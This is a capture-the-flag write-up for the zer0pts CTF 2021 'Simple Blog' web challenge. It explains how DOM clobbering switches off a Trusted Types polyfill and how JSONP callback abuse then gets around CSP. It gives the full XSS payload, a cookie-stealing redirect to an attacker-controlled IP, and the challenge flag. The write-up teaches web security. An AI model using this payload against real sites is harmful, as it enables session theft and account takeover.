# Simple Blog - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` `web` ## Overview - This application fetches `api.php` and renders the contents by JSONP. The length of the name of a callback function is up to 20 characters. ```php= <?php header('Content-Type: application/javascript'); $callback = $_GET['callback'] ?? 'render'; if (strlen($callback) > 20) { die('throw new Error("callback name is too long")'); } echo $callback . '(' . json_encode([ ["id" => 1, "title" => "Hello, world!", "content" => "Welcome to my blog platform!"], ["id" => 2, "title" => "Lorem ipsum", "content" => "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."] ]) . ')'; ``` - As the challenge description says, there is a simple XSS on `index.php`. ```php= <?php $nonce = base64_encode(random_bytes(20)); $theme = $_GET['theme'] ?? 'dark'; ?> ``` ```html=11 <link rel="stylesheet" href="/css/bootstrap-<?= $theme ?>.min.css"> <link rel="stylesheet" href="/css/style.css"> </head> <body> <div class="container"> <nav class="navbar navbar-expand-lg navbar-<?= $theme ?> bg-<?= $theme ?>"> ``` - However, abusing the XSS vulnerability is difficult because of Content Type Security (CSP) and Trusted Types. CSP blocks script execution except for scripts that have nonce or scripts that are included by trusted scripts. Trusted Types blocks including URLs that contain `callback`. ```html=10 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; script-src 'nonce-<?= $nonce ?>' 'strict-dynamic'; require-trusted-types-for 'script'; trusted-types default"> ``` ```html=72 // try to register trusted types try { trustedTypes.createPolicy('default', { createHTML(url) { return url.replace(/[<>]/g, ''); }, createScriptURL(url) { if (url.includes('callback')) { throw new Error('custom callback is unimplemented'); } return url; } }); } catch { if (!trustedTypes.defaultPolicy) { throw new Error('failed to register default policy'); } } ``` - `strict-dynamic` is enabled in CSP because of this JSONP. ```javascript=33 // JSONP const jsonp = (url, callback) => { const s = document.createElement('script'); if (callback) { s.src = `${url}?callback=${callback}`; } else { s.src = url; } document.body.appendChild(s); }; ``` - As the challenge description and the report page say, the admin uses Firefox to crawl reported URLs. Since Firefox does not yet support Trusted Types natively, [polyfill](https://github.com/w3c/webappsec-trusted-types) is used to enable Trusted Types. ```html=31 <script src="/js/trustedtypes.build.js" nonce="<?= $nonce ?>" data-csp="require-trusted-types-for 'script'; trusted-types default"></script> ``` ## Solution ### Disable Trusted Types The first goal is to disable Trusted Types in order to use `callback` parameter in JSONP. As I said in the overview section, in the admin's environment, polyfill is used to enable Trusted Types since it is not implemented natively. Looking through the code of polyfill, you might notice that [if `window.trustedTypes` is defined, polyfill will not define `trustedTypes`](https://github.com/w3c/webappsec-trusted-types/blob/1404e198bcf8e0c06a0ab00b75081b3fafb37bed/src/polyfill/api_only.js#L30-L39). ```javascript=30 const rootProperty = 'trustedTypes'; // Convert old window.TrustedTypes to window.trustedTypes. if (window['TrustedTypes'] && typeof window[rootProperty] === 'undefined') { window[rootProperty] = Object.freeze(window['TrustedTypes']); } if (typeof window[rootProperty] !== 'undefined') { return; } ``` This means that if somehow you make `trustedTypes` a truthy value, you could disable Trusted Types in Firefox. But how can we do it without JavaScript? One way to do so is [DOM Clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering). By DOM Clobbering as below, you can make `trustedTypes` as a truthy value (`HTMLElement` object). ```html "><s id="trustedTypes">test</s> ``` However, this is not enough. You need to make `trustedTypes.defaultPolicy` a truthy value too. ```javascript=87 if (!trustedTypes.defaultPolicy) { throw new Error('failed to register default policy'); } ``` It is also able to do with DOM Clobbering. This time, [you need to use another technique](https://portswigger.net/research/dom-clobbering-strikes-back). In Firefox, a payload as below will make `trustedTypes` and `defaultPolicy` truthy values. With this, you can completely disable Trusted Types in Firefox. ```html <form id="trustedTypes"><input id="defaultPolicy"></form> ``` ### Abusing JSONP and get the flag Next, you need to do is get RCE. After setting Trusted Types, JSONP will be called as below. `window.callback` is given as 2nd parameter, however, it is defined nowhere in the code. Thus, you can overwrite the value with DOM Clobbering again. ```javascript=92 // TODO: implement custom callback jsonp('/api.php', window.callback); ``` The `callback` will be extracted to template string, so it will be converted to `String`. The way to make the converted value an arbitrary string is, using `a` element. ```javascript=37 if (callback) { s.src = `${url}?callback=${callback}`; } else { ``` When you set `href` attribute of `a` element to `abc:test`, the result of converting to `String` is `abc:test` as above. ```html <a href="abc:test" id="link">hoge</a> <script> console.log(link + ''); // => abc:test </script> ``` Using this behavior, you can set `callback` to arbitrary string. However, as you can see in `api.php`, `callback` should be <21 characters. How can we bypass the restriction? One of the ways to bypass the restriction is, calling `jsonp` function again. Since `api.php` does not restrict you to use symbols, including `'`, `(`, and `)`, you can also control 1st parameter, which is URL to be loaded as JavaScript code. Finally, you can get RCE with a payload as below. ``` theme="><form id="trustedTypes"><input name="defaultPolicy"></form><a href="abc:jsonp(x);//" id="callback"></a><a href="data:text/plain;base64,(Base64 encoded script)" id="x"></a> ``` You can get the flag by changing `(Base64 encoded script)` to `location="http://(your IP address)?"+encodeURIComponent(document.cookie)` and reporting it. ``` zer0pts{1_w4nt_t0_e4t_d0m_d0m_h4mburger_s0med4y} ```